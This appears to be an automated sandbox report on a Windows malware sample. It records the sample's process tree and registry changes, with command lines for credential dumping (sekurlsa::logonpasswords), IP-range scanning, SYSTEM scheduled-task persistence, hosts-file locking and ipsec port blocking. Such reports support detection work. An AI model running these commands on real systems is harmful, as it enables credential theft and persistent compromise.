\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cerjnki.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cerjnki.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zljshrqzb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4404 cmd.exe 3556 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x000700000002347c-6.dat nsis_installer_2 behavioral2/files/0x000700000002348c-15.dat nsis_installer_1 behavioral2/files/0x000700000002348c-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 43 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" cerjnki.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing cerjnki.exe Key created \REGISTRY\USER\.DEFAULT\Software migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ cerjnki.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" cerjnki.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" cerjnki.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" cerjnki.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump migibaipq.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" cerjnki.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3556 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2292 schtasks.exe 1924 schtasks.exe 60 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found 676 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe Token: SeDebugPrivilege 1632 cerjnki.exe Token: SeDebugPrivilege 3184 cerjnki.exe Token: SeDebugPrivilege 2956 vfshost.exe Token: SeDebugPrivilege 3244 migibaipq.exe Token: SeLockMemoryPrivilege 996 ittilk.exe Token: SeLockMemoryPrivilege 996 ittilk.exe Token: SeDebugPrivilege 1016 migibaipq.exe Token: SeDebugPrivilege 2832 migibaipq.exe Token: SeDebugPrivilege 3108 migibaipq.exe Token: SeDebugPrivilege 3632 migibaipq.exe Token: SeDebugPrivilege 2784 migibaipq.exe Token: SeDebugPrivilege 1632 migibaipq.exe Token: SeDebugPrivilege 1932 migibaipq.exe Token: SeDebugPrivilege 3520 migibaipq.exe Token: SeDebugPrivilege 2404 migibaipq.exe Token: SeDebugPrivilege 2120 migibaipq.exe Token: SeDebugPrivilege 3580 migibaipq.exe Token: SeDebugPrivilege 3300 migibaipq.exe Token: SeDebugPrivilege 1564 migibaipq.exe Token: SeDebugPrivilege 5100 migibaipq.exe Token: SeDebugPrivilege 3568 migibaipq.exe Token: SeDebugPrivilege 4816 migibaipq.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe 1632 cerjnki.exe 1632 cerjnki.exe 3184 cerjnki.exe 3184 cerjnki.exe 452 xohudmc.exe 3600 hmdriy.exe 1096 cerjnki.exe 1096 cerjnki.exe 228 cerjnki.exe 228 cerjnki.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2416 wrote to memory of 4404 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe 82 PID 2416 wrote to memory of 4404 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe 82 PID 2416 wrote to memory of 4404 2416 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe 82 PID 4404 wrote to memory of 3556 4404 cmd.exe 84 PID 4404 wrote to memory of 3556 4404 cmd.exe 84 PID 4404 wrote to memory of 3556 4404 cmd.exe 84 PID 4404 wrote to memory of 1632 4404 cmd.exe 89 PID 4404 wrote to memory of 1632 4404 cmd.exe 89 PID 4404 wrote to memory of 1632 4404 cmd.exe 89 PID 3184 wrote to memory of 2928 3184 cerjnki.exe 91 PID 3184 wrote to memory of 2928 3184 cerjnki.exe 91 PID 3184 wrote to memory of 2928 3184 cerjnki.exe 91 PID 2928 wrote to memory of 444 2928 cmd.exe 93 PID 2928 wrote to memory of 444 2928 cmd.exe 93 PID 2928 wrote to memory of 444 2928 cmd.exe 93 PID 2928 wrote to memory of 4900 2928 cmd.exe 94 PID 2928 wrote to memory of 4900 2928 cmd.exe 94 PID 2928 wrote to memory of 4900 2928 cmd.exe 94 PID 2928 wrote to memory of 3996 2928 cmd.exe 95 PID 2928 wrote to memory of 3996 2928 cmd.exe 95 PID 2928 wrote to memory of 3996 2928 cmd.exe 95 PID 2928 wrote to memory of 4744 2928 cmd.exe 96 PID 2928 wrote to memory of 4744 2928 cmd.exe 96 PID 2928 wrote to memory of 4744 2928 cmd.exe 96 PID 2928 wrote to memory of 4388 2928 cmd.exe 97 PID 2928 wrote to memory of 4388 2928 cmd.exe 97 PID 2928 wrote to memory of 4388 2928 cmd.exe 97 PID 2928 wrote to memory of 3600 2928 cmd.exe 98 PID 2928 wrote to memory of 3600 2928 cmd.exe 98 PID 2928 wrote to memory of 3600 2928 cmd.exe 98 PID 3184 wrote to memory of 1504 3184 cerjnki.exe 100 PID 3184 wrote to memory of 1504 3184 cerjnki.exe 100 PID 3184 wrote to memory of 1504 3184 cerjnki.exe 100 PID 3184 wrote to memory of 4760 3184 cerjnki.exe 102 PID 3184 wrote to memory of 4760 3184 cerjnki.exe 102 PID 3184 wrote to memory of 4760 3184 cerjnki.exe 102 PID 3184 wrote to memory of 1184 3184 cerjnki.exe 104 PID 3184 wrote to memory of 1184 3184 cerjnki.exe 104 PID 3184 wrote to memory of 1184 3184 cerjnki.exe 104 PID 3184 wrote to memory of 4920 3184 cerjnki.exe 108 PID 3184 wrote to memory of 4920 3184 cerjnki.exe 108 PID 3184 wrote to memory of 4920 3184 cerjnki.exe 108 PID 4920 wrote to memory of 3836 4920 cmd.exe 110 PID 4920 wrote to memory of 3836 4920 cmd.exe 110 PID 4920 wrote to memory of 3836 4920 cmd.exe 110 PID 3836 wrote to memory of 4496 3836 wpcap.exe 111 PID 3836 wrote to memory of 4496 3836 wpcap.exe 111 PID 3836 wrote to memory of 4496 3836 wpcap.exe 111 PID 4496 wrote to memory of 4032 4496 net.exe 113 PID 4496 wrote to memory of 4032 4496 net.exe 113 PID 4496 wrote to memory of 4032 4496 net.exe 113 PID 3836 wrote to memory of 4428 3836 wpcap.exe 114 PID 3836 wrote to memory of 4428 3836 wpcap.exe 114 PID 3836 wrote to memory of 4428 3836 wpcap.exe 114 PID 4428 wrote to memory of 4848 4428 net.exe 116 PID 4428 wrote to memory of 4848 4428 net.exe 116 PID 4428 wrote to memory of 4848 4428 net.exe 116 PID 3836 wrote to memory of 5016 3836 wpcap.exe 117 PID 3836 wrote to memory of 5016 3836 wpcap.exe 117 PID 3836 wrote to memory of 5016 3836 wpcap.exe 117 PID 5016 wrote to memory of 3320 5016 net.exe 119 PID 5016 wrote to memory of 3320 5016 net.exe 119 PID 5016 wrote to memory of 3320 5016 net.exe 119 PID 3836 wrote to memory of 1576 3836 wpcap.exe 120
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2148
-
C:\Windows\TEMP\znmrttiqf\ittilk.exe"C:\Windows\TEMP\znmrttiqf\ittilk.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:996
-
-
C:\Users\Admin\AppData\Local\Temp\3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe"C:\Users\Admin\AppData\Local\Temp\3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bitpvjte\cerjnki.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4404 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3556
-
-
C:\Windows\bitpvjte\cerjnki.exeC:\Windows\bitpvjte\cerjnki.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1632
-
-
-
C:\Windows\bitpvjte\cerjnki.exeC:\Windows\bitpvjte\cerjnki.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:444
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:4900
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:3996
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:4744
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4388
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:3600
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1504
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4760
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1184
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\iiliuscuk\trrjzeypr\wpcap.exeC:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:4032
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:4848
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5016 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:3320
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:1576 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:4892
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:3652 -
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:3100
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:788
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:4944 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4728
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt2⤵
- System Location Discovery: System Language Discovery
PID:3968 -
C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exeC:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4976
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iiliuscuk\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1436 -
C:\Windows\iiliuscuk\Corporate\vfshost.exeC:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"2⤵PID:4992
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2720
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:60
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"2⤵PID:2104
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2620
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1924
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:3732 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:228
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2292
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2368
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3340
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1520
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2700
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5100
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1508
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1976
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3568
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3440
-
-
